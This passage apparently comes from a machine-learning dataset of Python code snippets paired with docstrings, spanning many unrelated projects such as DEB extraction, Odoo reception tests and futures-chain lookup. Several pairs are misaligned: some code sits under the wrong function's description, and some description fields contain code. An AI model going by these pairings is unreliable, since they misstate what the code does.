dictionary mapping the name of a layer with the memory buffer that will be saved in the loom file after countinggeneid2ix: Dict[str, int]Dictionary containing the Acession of the genes mapping to its column index positionReturns-------Nothing but it adds the molecule to the appropriate layer (or does not count at all)"} {"code": "def update(self, data):\n if self.nobservations == 0:\n self.__init__(data)\n else:\n data = np.array(data)\n\n newmean = data.mean(axis=0)\n newstd = data.std(axis=0)\n\n m = self.nobservations * 1.0\n n = data.shape[0]\n\n tmp = self.mean\n\n self.mean = m/(m+n)*tmp + n/(m+n)*newmean\n self.std = m/(m+n)*self.std**2 + n/(m+n)*newstd**2 +\\\n m*n/(m+n)**2 * (tmp - newmean)**2\n self.std = np.sqrt(self.std)\n\n self.nobservations += n", "nl": "data: ndarray, shape (nobservations, ndimensions)"} {"code": "def test_janky_message(self):\n self.assertThat(\n self.render_tasks([janky_message_task]),\n ExactlyEquals(\n u'cdeb220d-7605-4d5f-\\u241b(08341-1a170222e308\\n'\n u'\\u2514\\u2500\\u2500 M\\u241b(0/1 '\n u'1425356700\\n'\n u' \\u251c\\u2500\\u2500 er\\u241bror: False\\n'\n u' \\u2514\\u2500\\u2500 mes\\u240asage: '\n u'Main loop\\u241b(0terminated.\\n\\n'))\n", "nl": "Task names, UUIDs, keys and values in messages all have controlcharacters escaped."} {"code": "def shifted(self, delta: Tensor) -> 'Geometry':\n raise NotImplementedError(self.__class__)\n", "nl": "Returns a translated version of this geometry.See Also:`Geometry.at()`.Args:delta: direction vectordelta: Tensor:Returns:Geometry: shifted geometry"} {"code": "def whitespace_around_keywords(logical_line):\n for match in KEYWORD_REGEX.finditer(logical_line):\n before, after = match.groups()\n\n if '\\t' in before:\n yield match.start(1), \"E274 tab before keyword\"\n elif len(before) > 1:\n yield match.start(1), \"E272 multiple spaces before keyword\"\n\n if '\\t' in after:\n yield match.start(2), \"E273 tab after keyword\"\n elif len(after) > 1:\n yield match.start(2), \"E271 multiple spaces after keyword\"\n\n", "nl": "rAvoid extraneous whitespace around keywords.Okay: True and FalseE271: True and FalseE272: True and FalseE273: True and\\tFalseE274: True\\tand False"} {"code": "def test_skip_track(self, mock):\n base = self.load_base_station(mock)\n base.set_music_loop_mode_continuous()\n base.publish.assert_called_once_with(\n action='set',\n resource='audioPlayback/config',\n publish_response=False,\n properties={'config': {'loopbackMode': 'continuous'}}\n )\n\n @requests_mock.Mocker()\n @patch.object(ArloBaseStation, \"publish\", MagicMock())", "nl": "Test ArloBaseStation.skip_track.base = self.load_base_station(mock)base.skip_track()base.publish.assert_called_once_with(action='nextTrack',resource='audioPlayback/player',publish_response=False)@requests_mock.Mocker()@patch.object(ArloBaseStation, \"publish\", MagicMock())def test_set_music_mode_continuous(self, mock):Test ArloBaseStation.set_music_loop_mode_continuous."} {"code": "def get_updated_records(table_name: str, existing_items: List) -> List:\n result = []\n stream_spec = dynamodb_get_table_stream_specification(table_name=table_name)\n\n key_schema = SchemaExtractor.get_key_schema(table_name)\n before = ItemSet(existing_items, key_schema=key_schema)\n after = ItemSet(ItemFinder.get_all_table_items(table_name), key_schema=key_schema)\n", "nl": "Determine the list of record updates, to be sent to a DDB stream after a PartiQL update operation.Note: This is currently a fairly expensive operation, as we need to retrieve the list of all itemsfrom the table, and compare the items to the previously available. This is a limitation aswe're currently using the DynamoDB Local backend as a blackbox. In future, we should consider hookinginto the PartiQL query execution inside DynamoDB Local and directly extract the list of updated items."} {"code": "def test_serialize_single_resource_with_dasherize_false(self):\n\n class UserSerializer(serializer.JSONAPISerializer):\n \"\"\"Declarative serializer for User.\"\"\"", "nl": "Serialize a resource where attributes are not dasherized.Attribute keys are underscored like in serializer model."} {"code": "def current_window(self):", "nl": " Window: The current window. return Window(self, self.driver.current_window_handle)@propertydef windows(self):"} {"code": "def get_memory(self, note=None):\n\t\t\t timeout=3,\n\t\t\t echo=False)\n\t\t\tmemavail = int(memavail)\n\t\t\tmemavail *= 4\n\t\telse:\n\t\t\tmemavail = self.send_and_get_output(\"\"\"command cat /proc/meminfo | grep MemAvailable | awk '{print $2}'\"\"\",\n\t\t\t\t timeout=3,\n\t\t\t\t echo=False)\n\t\t\tmemavail = int(memavail)\n\t\tshutit.handle_note_after(note=note)\n\t\treturn memavail\n\n", "nl": "Returns memory available for use in k as an intshutit = self.shutitshutit.handle_note(note)if self.current_environment.distro == 'osx':memavail = self.send_and_get_output(command vm_stat | grep ^Pages.free: | awk '{print $3}' | tr -d '.',"} {"code": "def distort_image_with_autoaugment(image, augmentation_name):\n available_policies = {'v0': policy_v0,\n 'test': policy_vtest}\n if augmentation_name not in available_policies:\n raise ValueError('Invalid augmentation_name: {}'.format(augmentation_name))\n\n policy = available_policies[augmentation_name]()\n augmentation_hparams = tf.contrib.training.HParams(\n cutout_const=100, translate_const=250)\n\n return build_and_apply_nas_policy(policy, image, augmentation_hparams)\n\n", "nl": "Applies the AutoAugment policy to `image`.AutoAugment is from the paper: https://arxiv.org/abs/1805.09501.Args:image: `Tensor` of shape [height, width, 3] representing an image.augmentation_name: The name of the AutoAugment policy to use. The availableoptions are `v0` and `test`. `v0` is the policy used forall of the results in the paper and was found to achieve the best resultson the COCO dataset. `v1`, `v2` and `v3` are additional good policiesfound on the COCO dataset that have slight variation in what operationswere used during the search procedure along with how many operations areapplied in parallel to a single image (2 vs 3).Returns:A tuple containing the augmented versions of `image`."} {"code": "def interpret(data):\n\n byte0 = data[0]\n res = {}\n res[\"hrv_uint8\"] = (byte0 & 1) == 0\n sensor_contact = (byte0 >> 1) & 3\n if sensor_contact == 2:\n res[\"sensor_contact\"] = \"No contact detected\"\n elif sensor_contact == 3:\n res[\"sensor_contact\"] = \"Contact detected\"\n else:\n res[\"sensor_contact\"] = \"Sensor contact not supported\"\n res[\"ee_status\"] = ((byte0 >> 3) & 1) == 1\n res[\"rr_interval\"] = ((byte0 >> 4) & 1) == 1\n\n if res[\"hrv_uint8\"]:\n res[\"hr\"] = data[1]\n i = 2\n else:\n res[\"hr\"] = (data[2] << 8) | data[1]\n i = 3\n\n if res[\"ee_status\"]:\n res[\"ee\"] = (data[i + 1] << 8) | data[i]\n i += 2\n\n if res[\"rr_interval\"]:\n res[\"rr\"] = []\n while i < len(data):\n res[\"rr\"].append((data[i + 1] << 8) | data[i])\n i += 2\n\n return res\n\n", "nl": "data is a list of integers corresponding to readings from the BLE HR monitor"} {"code": "def is_signed(self):\n return self._exp == 'N'\n", "nl": "Return True if self is negative; otherwise return False.return self._sign == 1def is_snan(self):Return True if self is a signaling NaN; otherwise return False."} {"code": "def __unbind_call(self, still_valid):\n with self._lock:\n if self.__timer is not None:\n self.__timer = None\n self.__still_valid = still_valid\n self._ipopo_instance.unbind(\n self, self.__timer_args[0], self.__timer_args[1]\n )\n", "nl": "Calls the iPOPO unbind method"} {"code": "def read_img(path, env=None, size=None, resize_scale=0):\n if env is None:\n img = cv2.imread(path, cv2.IMREAD_UNCHANGED)\n else:\n img = _read_img_lmdb(env, path, size)\n\n if not resize_scale == 0:\n width_ori = img.shape[1]\n height_ori = img.shape[0]\n width = int(resize_scale * width_ori)\n height = int(resize_scale * height_ori)\n dim = (width, height)\n img = cv2.resize(img, dim, interpolation = cv2.INTER_CUBIC)\n\n img = img.astype(np.float32) / 255.\n if img.ndim == 2:\n img = np.expand_dims(img, axis=2)\n if img.shape[2] > 3:\n img = img[:, :, :3]\n return img\n\n", "nl": "read image by cv2 or from lmdbreturn: Numpy float32, HWC, BGR, [0,1]"} {"code": "def single_sample(unused_state, key):\n", "nl": "Produces a single sample from the joint-prior and computes the likelihood.Args:key: PRNG keyReturns:U, U, log_L_samples"} {"code": "def get_current_future_chain(self, continuous_future, dt):\n rf = self._roll_finders[continuous_future.roll_style]\n session = self.trading_calendar.minute_to_session_label(dt)\n contract_center = rf.get_contract_center(\n continuous_future.root_symbol, session,\n continuous_future.offset)\n oc = self.asset_finder.get_ordered_contracts(\n continuous_future.root_symbol)\n chain = oc.active_chain(contract_center, session.value)\n return self.asset_finder.retrieve_all(chain)\n", "nl": "Retrieves the future chain for the contract at the given `dt` accordingthe `continuous_future` specification.Returns-------future_chain : list[Future]A list of active futures, where the first index is the currentcontract specified by the continuous future definition, the secondis the next upcoming contract and so on."} {"code": "def text_list_to_colors(names):\n Dnames = np.zeros( (len(names), len(names)) )\n for i in range(len(names)):\n for j in range(len(names)):\n Dnames[i,j] = 1 - 2.0 * levenshtein(names[i],\n names[j]) / \\\n float(len(names[i]+names[j]))\n\n pca = sklearn.decomposition.PCA(n_components = 1)\n pca.fit(Dnames)\n\n textToColor = pca.transform(Dnames)\n textToColor = 255 * (textToColor - textToColor.min()) / \\\n (textToColor.max() - textToColor.min())\n textmaps = generateColorMap();\n colors = [textmaps[int(c)] for c in textToColor]\n return colors\n\n", "nl": "Generates a list of colors based on a list of names (strings).Similar strings correspond to similar colors."} {"code": "def process_blackedout_servers(self, servers):\n\n @self.backend.ChildrenWatch(path)\n @utils.exit_on_unhandled", "nl": "Callback invoked when server blacklist is modified.events = []servers_blacklist = set(servers)for servername in servers_blacklist - self.servers_blacklist:_LOGGER.info('Server blackout: %s', servername)events.append(server_events.ServerBlackoutTraceEvent(servername=servername))for servername in self.servers_blacklist - servers_blacklist:_LOGGER.info('Server blackout cleared: %s', servername)events.append(server_events.ServerBlackoutClearedTraceEvent(servername=servername))for event in events:if self.server_events_dir:trace.post(self.server_events_dir, event)self.servers_blacklist = servers_blacklistdef _handle_allocations_event(self, _node_name):# Changing allocations has potential of complete# reshuffle, so while ineffecient, reload all apps as well.## If application is assigned to different partition, from# scheduler perspective is no different than host deleted. It# will be detected on schedule and app will be assigned new# host from proper partition.self.load_allocations()self.load_apps()def _handle_apps_blacklist_event(self, _node_name):self.load_apps_blacklist()for appname, app in self.cell.apps.items():app.blacklisted = self._is_blacklisted(appname)def _handle_apps_event(self, node_name):# The event node contains list of apps to be re-evaluated.apps = self.backend.get_default(z.path.event(node_name), default=[])for app in apps:self.load_app(app)def _handle_servers_event(self, node_name):servers = self.backend.get_default(z.path.event(node_name), default=[])if not servers:# If not specified, reload all.# Use union of servers in the model and in zookeeper.servers = (set(self.servers.keys()) ^set(self.backend.list(z.SERVERS)))self.reload_servers(servers)def _handle_server_state_event(self, node_name):servername, state, apps = tuple(self.backend.get(z.path.event(node_name)))_LOGGER.info('Set server state: %s, %s, %r', servername, state, apps)if state == scheduler.State.frozen.value:self._freeze_server(servername, apps)else:server = self.servers.get(servername)if not server:_LOGGER.warning('Server not found: %s', servername)returnif state == scheduler.State.up.value:server.set_state(scheduler.State.up, time.time())elif state == scheduler.State.down.value:server.set_state(scheduler.State.down, time.time())else:_LOGGER.warning('Unsupported state: %s', state)self._record_server_state(servername)self.up_to_date = Falsedef watch(self, path):Constructs a watch on a given path."} {"code": "def _data_identity(data, thread_id = 0):\n features_list : list of features; each feature should be a list of string containing in this order : the name of the feature and its type\n the different types available can be found in the dictionnaries in the code below\n data_dir : the directory where the protobuffer records should be written\n shard_prefix : the prefix for the protobuffer shard records\n samples_per_shard : the number of samples to be written in each record shard\n sess : the tensorflow session to use. If none is given, a new one will be created locally when needed\n \"\"\"", "nl": "Dummy identity function which just outputs its input datareturn datadef __init__(self, features_list, sess = None, data_dir = \"serialized_DB\", shard_prefix = \"serialized_data_shard\", samples_per_shard = 512): Args:"} {"code": "def _derive_y_from_x(self, x, is_even):\n order = ecdsa.SECP256k1.generator.order()\n p = ecdsa.VerifyingKey.from_string(bytes(self), curve=ecdsa.SECP256k1).pubkey.point\n x_str = ecdsa.util.number_to_string(p.x(), order)\n compressed = hexlify(bytes(chr(2 + (p.y() & 1)), 'ascii') + x_str).decode('ascii')\n return(compressed)\n", "nl": " Derive y point from x point curve = ecdsa.SECP256k1.curve# The curve equation over F_p is:# y^2 = x^3 + ax + ba, b, p = curve.a(), curve.b(), curve.p()alpha = (pow(x, 3, p) + a * x + b) % pbeta = ecdsa.numbertheory.square_root_mod_prime(alpha, p)if (beta % 2) == is_even:beta = p - betareturn betadef compressed(self): Derive compressed public key "} {"code": "def _prep_conductor(self, context=None, inputs=None, status=None):\n", "nl": "wf_def = version: 1.0description: A basic sequential workflow.tasks:task1:action: core.noopnext:- when: <% succeeded() %>do: task2, task5task2:action: core.noopnext:- do: task3task3:action: core.noopnext:- do: task4task4:action: core.noopnext:- do: task2task5:action: core.noop"} {"code": "def extract(self, input_path, output_path):\n try:\n root_ar = arpy.Archive(input_path)\n root_ar.read_all_headers()\n try:\n data_bin = root_ar.archived_files[b'data.tar.gz']\n data_tar = tarfile.open(fileobj=data_bin)\n data_tar.extractall(output_path)\n except Exception:\n try:\n data_theos_bin = root_ar.archived_files[b'data.tar.lzma']\n data_theos_bin.seekable = lambda: True\n data_theos_tar = tarfile.open(fileobj=data_theos_bin, mode='r:xz')\n data_theos_tar.extractall(output_path)\n except Exception:\n try:\n data_theos_bin = root_ar.archived_files[b'data.tar.xz']\n data_theos_bin.seekable = lambda: True\n data_theos_tar = tarfile.open(fileobj=data_theos_bin, mode='r:xz')\n data_theos_tar.extractall(output_path)\n except Exception:\n print(\"\\033[91m- DEB Extraction Error -\\n\"\n \"The DEB file inserted for one of your packages is invalid. Please report this as a bug \"\n \"and attach the DEB file at \\\"\" + output_path + \"\\\".\\033[0m\")\n\n control_bin = root_ar.archived_files[b'control.tar.gz']\n control_tar = tarfile.open(fileobj=control_bin)\n control_tar.extractall(output_path)\n return True\n except Exception:\n return False\n", "nl": "Extracts data from a DEB file.:param input_path: A String of the file path of the DEB to extract.:param output_path: A String of the file path to put the extracted DEB. Folder must already exist.:return: A Boolean on whether the extraction succeeded or failed."} {"code": "def oauth_required(self, method):\n", "nl": "Decorator that starts the OAuth 2.0 dance.Starts the OAuth dance for the logged in user if they haven't alreadygranted access for this application.Args:method: callable, to be decorated method of a webapp.RequestHandlerinstance."} {"code": "def __init__(self, requestedOptions, hostOptions):\n\n combinedOptions = {} if requestedOptions is None else dict(requestedOptions)\n if hostOptions is not None:\n combinedOptions.update(hostOptions)\n", "nl": ":type requestedOptions: dict from string to Pythonized JSON:param requestedOptions: options explicitly requested in the PFA document:type hostOptions: dict from string to Pythonized JSON:param hostOptions: options overridden by host environment"} {"code": "def test_metric_with_expiration(self, mock_categorize):\n\n slug = 'categorized-metric'\n n = 1\n\n keys = self.r._build_keys(slug)\n self.r.metric(slug, num=n, expire=3600)\n\n call_list = [call.sadd(self.r._metric_slugs_key, slug), call.pipeline()]\n for k in keys:\n call_list.append(call.pipeline().incr(k, n))\n call_list.append(call.pipeline().expire(k, 3600))\n\n self.redis.assert_has_calls(call_list)\n\n self.assertFalse(mock_categorize.called)\n", "nl": "The ``metric`` method should call the redis ``expire`` method ifpassed an ``expire`` argument."} {"code": "def dtype(self) -> CategoricalDtype:\n return self._dtype\n\n @property", "nl": "The :class:`~pandas.api.types.CategoricalDtype` for this instance."} {"code": "def get_name_of_init(self):\n output = self.run(\"ps -o comm 1\").stdout_text\n return output.splitlines()[-1].strip()\n", "nl": "Internal function to determine what executable is PID 1,:return: executable name for PID 1, aka init:rtype: str"} {"code": "def learn_parent(self, corpus=None, parent=None):\n parent = parent or self.config.get('parent')\n corpus = corpus or self.corpora[0]\n\n if not parent or not self.api.last_tweet:\n self.log.debug('Cannot teach: missing parent or tweets')\n return\n\n tweets = self.api.user_timeline(parent, since_id=self.api.last_tweet)\n\n try:\n gen = checking.generator(tweets,\n no_mentions=self.config.get('filter_mentions'),\n no_hashtags=self.config.get('filter_hashtags'),\n no_urls=self.config.get('filter_urls'),\n no_media=self.config.get('filter_media'),\n no_symbols=self.config.get('filter_symbols'),\n no_badwords=self.config.get('filter_parent_badwords', True),\n no_retweets=self.config.get('no_retweets'),\n no_replies=self.config.get('no_replies')\n )\n\n self.log.debug('%s is learning', corpus)\n\n with open(corpus, 'a') as f:\n f.writelines(tweet + '\\n' for tweet in gen)\n\n except IOError as e:\n self.log.error('Learning failed for %s', corpus)\n self.log.error(e)", "nl": "Add recent tweets from the parent account (since the last time ``self.screen_name`` tweeted)to the corpus. This is subject to the filters described in ``bots.yaml``."} {"code": "def uniforms(self):\n\n code = remove_comments(self.code)\n gtypes = Shader._gtypes\n return [(n, gtypes[t]) for (n, t) in get_attributes(code)]\n\n\nclass VertexShader(Shader):\n \"\"\" Vertex shader class \"\"\"", "nl": " Shader uniforms obtained from source code code = remove_comments(self.code)gtypes = Shader._gtypesreturn [(n, gtypes[t]) for (n, t) in get_uniforms(code)]@propertydef attributes(self): Shader attributes obtained from source code "} {"code": "def handle_func_command(cls, command):\n cmd, _, args, kwargs = command\n\n try:\n\n new_args, new_kwargs, new_type, args_type = hook_args.unwrap_args_from_function(\n cmd, args, kwargs, return_args_type=True\n )\n if args_type not in FrameworkTensor:\n return args_type.handle_func_command(command)\n\n new_command = (cmd, None, new_args, new_kwargs)\n response = new_type.handle_func_command(new_command)\n response = hook_args.hook_response(cmd, response, wrap_type=args_type)\n except PureFrameworkTensorFoundError:\n\n try:\n command = cls.rgetattr(cls, cmd)\n return command(*args, **kwargs)\n except AttributeError:\n pass\n\n cmd_split = cmd.split(\".\")\n cmd_path = cmd_split[:-1]\n cmd_name = cmd_split[-1]\n cmd = \"syft.local_worker.hook.\" + \".\".join(cmd_path) + \".native_\" + cmd_name\n\n if isinstance(args, tuple):\n response = eval(cmd)(*args, **kwargs)\n else:\n response = eval(cmd)(args, **kwargs)\n\n return response", "nl": "Operates as a router for functions. A function call always startsby being handled here and 3 scenarii must be considered:Real TensorFlow tensor:The arguments of the function are real tensors so we shouldrun the native TensorFlow commandTensorFlow wrapper:The arguments are just wrappers at the top of a chain(ex: wrapper>LoggingTensor>TensorFlow tensor), so just forwardthe instruction to the next layer type in the chain (inthe example above to LoggingTensor.handle_func_command),get the response and replace a wrapper on top of all tensorsfound in the response.Syft Tensor:The arguments are syft tensors of same type: this can happenif at any node of the chain where some function is forwarded,the handle_func_command modify the function and make a newcall but keeps the arguments \"un-wrapped\". Making a new callmeans that by default the command is treated here in theglobal router.:param command: instruction of a function command: (command name,, arguments[, kwargs]):return: the response of the function command"} {"code": "def transform_as_tfrecords(data_processor, filename):\n print(\"Transforming json to tfrecord for %s...\" % filename)\n story_filepath = os.path.join(FLAGS.data_folder, filename + \".json\")\n output_folder = os.path.join(FLAGS.data_folder, \"processed\")\n os.makedirs(output_folder, exist_ok=True)\n output_filepaths = []\n for i in range(FLAGS.num_tfrecords_shards):\n output_filepaths.append(\n os.path.join(\n output_folder, \"%s.tfrecord-%.5d-of-%.5d\" %\n (filename, i, FLAGS.num_tfrecords_shards)))\n (total_num_examples,\n generated_num_examples) = data_processor.generate_examples(\n story_filepath, output_filepaths)\n print(\"For %s, %d examples have been generated from %d stories in json.\" %\n (filename, generated_num_examples, total_num_examples))\n\n", "nl": "Transforms story from json to tfrecord (sharded).Args:data_processor: Instance of RawDataProcessor.filename: 'train', 'valid', or 'test'."} {"code": "def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):\n GITS = [\"git\"]\n if sys.platform == \"win32\":\n GITS = [\"git.cmd\", \"git.exe\"]\n\n out, rc = run_command(GITS, [\"rev-parse\", \"--git-dir\"], cwd=root,\n hide_stderr=True)\n if rc != 0:\n if verbose:\n print(\"Directory %s not under git control\" % root)\n raise NotThisMethod(\"'git rev-parse --git-dir' returned error\")\n\n describe_out, rc = run_command(GITS, [\"describe\", \"--tags\", \"--dirty\",\n \"--always\", \"--long\",\n \"--match\", \"%s*\" % tag_prefix],\n cwd=root)\n if describe_out is None:\n raise NotThisMethod(\"'git describe' failed\")\n describe_out = describe_out.strip()\n full_out, rc = run_command(GITS, [\"rev-parse\", \"HEAD\"], cwd=root)\n if full_out is None:\n raise NotThisMethod(\"'git rev-parse' failed\")\n full_out = full_out.strip()\n\n pieces = {}\n pieces[\"long\"] = full_out\n pieces[\"short\"] = full_out[:7]\n pieces[\"error\"] = None\n\n git_describe = describe_out\n\n dirty = git_describe.endswith(\"-dirty\")\n pieces[\"dirty\"] = dirty\n if dirty:\n git_describe = git_describe[:git_describe.rindex(\"-dirty\")]\n\n\n if \"-\" in git_describe:\n mo = re.search(r'^(.+)-(\\d+)-g([0-9a-f]+)$', git_describe)\n if not mo:\n pieces[\"error\"] = (\"unable to parse git-describe output: '%s'\"\n % describe_out)\n return pieces\n\n full_tag = mo.group(1)\n if not full_tag.startswith(tag_prefix):\n if verbose:\n fmt = \"tag '%s' doesn't start with prefix '%s'\"\n print(fmt % (full_tag, tag_prefix))\n pieces[\"error\"] = (\"tag '%s' doesn't start with prefix '%s'\"\n % (full_tag, tag_prefix))\n return pieces\n pieces[\"closest-tag\"] = full_tag[len(tag_prefix):]\n\n pieces[\"distance\"] = int(mo.group(2))\n\n pieces[\"short\"] = mo.group(3)\n\n else:\n pieces[\"closest-tag\"] = None\n count_out, rc = run_command(GITS, [\"rev-list\", \"HEAD\", \"--count\"],\n cwd=root)\n pieces[\"distance\"] = int(count_out)\n\n date = run_command(GITS, [\"show\", \"-s\", \"--format=%ci\", \"HEAD\"],\n cwd=root)[0].strip()\n pieces[\"date\"] = date.strip().replace(\" \", \"T\", 1).replace(\" \", \"\", 1)\n\n return pieces\n\n", "nl": "Get version from 'git describe' in the root of the source tree.This only gets called if the git-archive 'subst' keywords were *not*expanded, and _version.py hasn't already been rewritten with a shortversion string, meaning we're inside a checked out source tree."} {"code": "def configure_switch(self, number: str, config: SwitchConfig, platform_config: dict) -> \"SwitchPlatformInterface\":\n result = {}\n for switch in self.switches.values():\n result[switch.number] = False\n return result\n", "nl": "Config an OSC switch.switch = OscSwitch(config, str(number), self)self.switches[str(number)] = switchreturn switchasync def get_hw_switch_states(self) -> Dict[str, bool]:Return all switches as false."} {"code": "def crypto_onetimeauth_primitive():\n func = nacl.crypto_onetimeauth_primitive\n func.restype = ctypes.c_char_p\n return func().decode()\n\n", "nl": "Return the onetimeauth underlying primitiveReturns:str: always ``poly1305``"} {"code": "def string_value(self) -> Optional[str]:\n\n Base64-encoded binary data object\"\"\"", "nl": "Strings are Unicode with UTF-8 binary encoding.return self[\"stringValue\"]@propertydef binary_value(self) -> Optional[str]:Binary type attributes can store any binary data, such as compressed data, encrypted data, or images."} {"code": "def create_users(self, users):\n logger.info(\"Creating SecureApp users.\")\n users_list = User_List([])\n if isinstance(users, list):\n if len(users) == 0:\n message = \"The list of users to create is empty.\"\n logger.critical(message)\n raise ValueError(message)\n else:\n users_list.extend(users_list)\n if len(users) == 1:\n expected_status_code = 201\n else:\n expected_status_code = 200\n elif isinstance(users, User_List):\n if len(users) == 0:\n message = \"The list of users to create is empty.\"\n logger.critical(message)\n raise ValueError(message)\n else:\n users_list.extend(users)\n if len(users) == 1:\n expected_status_code = 201\n else:\n expected_status_code = 200\n elif isinstance(users, User):\n users_list.append(users)\n expected_status_code = 201\n else:\n raise ValueError(\n 'The provided parameter must be a list of users,User_List, '\n 'or User')\n try:\n response = self.post_uri(\"/securechangeworkflow/api/secureapp/repository/users/\",\n users_list.to_xml_string().encode(), expected_status_codes=expected_status_code)\n if expected_status_code == 201:\n user_id = response.get_created_item_id()\n return user_id\n return None\n except RequestException as error:\n message = \"Could not create the following users: '{}', error was '{}'.\".format(\n [user.name for user in users_list], error)\n logger.critical(message)\n raise IOError(message)\n except REST_Client_Error as error:\n message = \"Could not create the following users: '{}', error was '{}'.\".format(\n [user.name for user in users_list], error)\n logger.critical(message)\n raise ValueError(message)\n", "nl": "Create the specified SecureApp user object/objects in SecureApp.:param users: The user object/objects to create in SecureApp.:type users:User_List|User|list[User]:return: The ID of the created user.If more than one object is created, True is returned.:rtype: bool:raise ValueError: If there was a problem with the parameters.:raise IOError: If there was a communication error."} {"code": "def remote_loginAnonymous(self, mind):\n d = self.portal.login(Anonymous(), mind, IPerspective)\n d.addCallback(self._cbLogin)\n return d\n\n\n\n@implementer(IUsernameHashedPassword, IUsernameMD5Password)\nclass _PortalAuthChallenger(Referenceable, _JellyableAvatarMixin):\n \"\"\"", "nl": "Attempt an anonymous login.@param mind: An object to use as the mind parameter to the portal logincall (possibly None).@rtype: L{Deferred}@return: A Deferred which will be called back with an avatar when loginsucceeds or which will be errbacked if login fails somehow."} {"code": "def rpadlist(list, width, fillitem=0):\n pad_width = width - len(list)\n list.extend([fillitem] * pad_width)\n return list\n\n", "nl": "Pad `list` with `fillitem` to `width`.>>> rpadlist([1, 2, 3], 5)[1, 2, 3, 0, 0]>>> rpadlist([1, 2, 3], 5, fillitem=None)[1, 2, 3, None, None]"} {"code": "def test_reception_screen_next_pack_in_last_line(self):\n move = fields.first(self.screen.picking_filtered_move_lines)\n move.action_select_product()\n self.screen.on_barcode_scanned_set_lot_number(\"LOT-TEST-1\")\n self.screen.current_move_line_lot_expiration_date = fields.Datetime.today()\n self.screen.button_save_step()\n self.screen.current_move_line_qty_done = 1\n self.screen.button_save_step()\n self.assertEqual(self.screen.current_step, \"select_packaging\")\n self.assertFalse(self.screen.product_packaging_id)\n self.assertFalse(self.screen.package_storage_type_id)\n self.assertFalse(self.screen.package_height)\n\n self.screen.on_barcode_scanned_select_packaging(\n self.storage_type_pallet.barcode\n )\n self.assertEqual(self.screen.product_packaging_id, self.product_packaging)\n self.assertEqual(self.screen.package_storage_type_id, self.storage_type_pallet)\n self.assertEqual(self.screen.package_height, self.product_packaging.height)", "nl": "Tests Next Pack on last line.prod_1 = self.env.ref(\"product.product_order_01\")prod_1.tracking = \"none\"prod_1_packaging = self._create_packaging(\"PKG PROD 1\", prod_1, qty=1)prod_2 = self.env.ref(\"product.product_product_3\")prod_2.tracking = \"none\"prod_2_packaging = self._create_packaging(\"PKG PROD 2\", prod_2, qty=1)picking = self._create_picking_in(partner=self.env.ref(\"base.res_partner_2\"))self._create_picking_line(picking, prod_1, 1)self._create_picking_line(picking, prod_2, 1)picking.action_confirm()picking.action_reception_screen_open()screen = picking.reception_screen_idscreen_moves = screen.picking_filtered_move_lines.sorted(key=lambda r: r.id)# Receives the products, the last one with Next Package.for product_no in (1, 2):prod_packaging = prod_1_packaging if product_no == 1 else prod_2_packagingpackage_name = \"CST-{}\".format(product_no)self.assertEqual(screen.current_step, \"select_product\")move = screen_moves[product_no - 1]move.action_select_product()screen.button_save_step()self.assertEqual(screen.current_step, \"set_quantity\")screen.current_move_line_qty_done = 1screen.button_save_step()self.assertEqual(screen.current_step, \"select_packaging\")self.assertEqual(screen.product_packaging_id, prod_packaging)screen.button_save_step()self.assertEqual(screen.current_step, \"set_location\")screen.current_move_line_location_dest_stored_id = self.location_destscreen.button_save_step()self.assertEqual(screen.current_step, \"set_package\")screen.current_move_line_package = package_nameself.assertEqual(screen.current_move_line_package_stored, package_name)if product_no == 1:screen.button_save_step()else:screen.button_next_pack()self.assertEqual(screen.current_step, \"done\")def test_reception_screen_next_pack(self):# Select the product to receiveself.assertEqual(self.screen.current_step, \"select_product\")move = fields.first(self.screen.picking_filtered_move_lines)move.action_select_product()# Create the lotself.assertEqual(self.screen.current_step, \"set_lot_number\")self.screen.on_barcode_scanned_set_lot_number(\"LOT-TEST-1\")# Set the expiry date on the lotself.assertEqual(self.screen.current_step, \"set_expiry_date\")self.screen.current_move_line_lot_expiration_date = fields.Datetime.today()self.screen.button_save_step()self.assertEqual(self.screen.current_step, \"set_quantity\")# Receive 4/10 qties (corresponding to the product packaging qty)self.screen.current_move_line_qty_done = 4self.assertEqual(self.screen.current_move_line_qty_status, \"lt\")# Check package data (automatically filled normally)self.screen.button_save_step()self.assertEqual(self.screen.current_step, \"select_packaging\")self.assertEqual(self.screen.product_packaging_id, self.product_packaging)self.assertEqual(self.screen.package_storage_type_id, self.storage_type_pallet)self.assertEqual(self.screen.package_height, self.product_packaging.height)# Check that a destination location is defined by defaultself.screen.button_save_step()self.assertEqual(self.screen.current_step, \"set_location\")self.screen.current_move_line_location_dest_stored_id = self.location_destself.screen.button_save_step()self.assertEqual(self.screen.current_move_line_location_dest_id,self.screen.current_move_line_location_dest_stored_id,)# Set a packageself.assertEqual(self.screen.current_step, \"set_package\")self.screen.current_move_line_package = \"PID-TEST-1\"self.assertEqual(self.screen.current_move_line_package_stored, \"PID-TEST-1\")move_line = self.screen.current_move_line_idself.assertFalse(move_line.result_package_id)self.screen.button_next_pack()self.assertEqual(move_line.result_package_id.name, \"PID-TEST-1\")# Iterate on the same product/lot to scan the second packageself.assertEqual(self.screen.current_move_line_qty_done, 4)self.assertTrue(self.screen.current_move_line_location_dest_stored_id)self.assertEqual(self.screen.product_packaging_id, self.product_packaging)self.assertEqual(self.screen.package_storage_type_id, self.storage_type_pallet)self.assertEqual(self.screen.package_height, self.product_packaging.height)self.assertEqual(self.screen.current_step, \"set_package\")self.screen.current_move_line_package = \"PID-TEST-2\"self.assertEqual(self.screen.current_move_line_package_stored, \"PID-TEST-2\")move_line = self.screen.current_move_line_idself.screen.button_next_pack()self.assertEqual(move_line.result_package_id.name, \"PID-TEST-2\")# Third packageself.screen.current_move_line_package = \"PID-TEST-3\"self.assertEqual(self.screen.current_move_line_package_stored, \"PID-TEST-3\")move_line = self.screen.current_move_line_idself.assertFalse(move_line.result_package_id)self.screen.button_next_pack()self.assertEqual(move_line.result_package_id.name, \"PID-TEST-3\")# At this stage we receive 4*3 = 12 quantities while we were waiting for 10,# it's not an issue.move_lines = self.picking.move_line_ids.filtered(lambda l: \"PID-TEST-\" in (l.result_package_id.name or \"\"))qty_received = sum(move_lines.mapped(\"qty_done\"))self.assertEqual(qty_received, 12)# All the product/lot has been processed, the operator can now select# another productself.assertEqual(self.screen.current_step, \"select_product\")def test_reception_screen_check_state(self):self.product.tracking = \"none\"# Select the product to receiveself.assertEqual(self.screen.current_step, \"select_product\")move = fields.first(self.screen.picking_filtered_move_lines)move.action_select_product()self.assertEqual(self.screen.current_step, 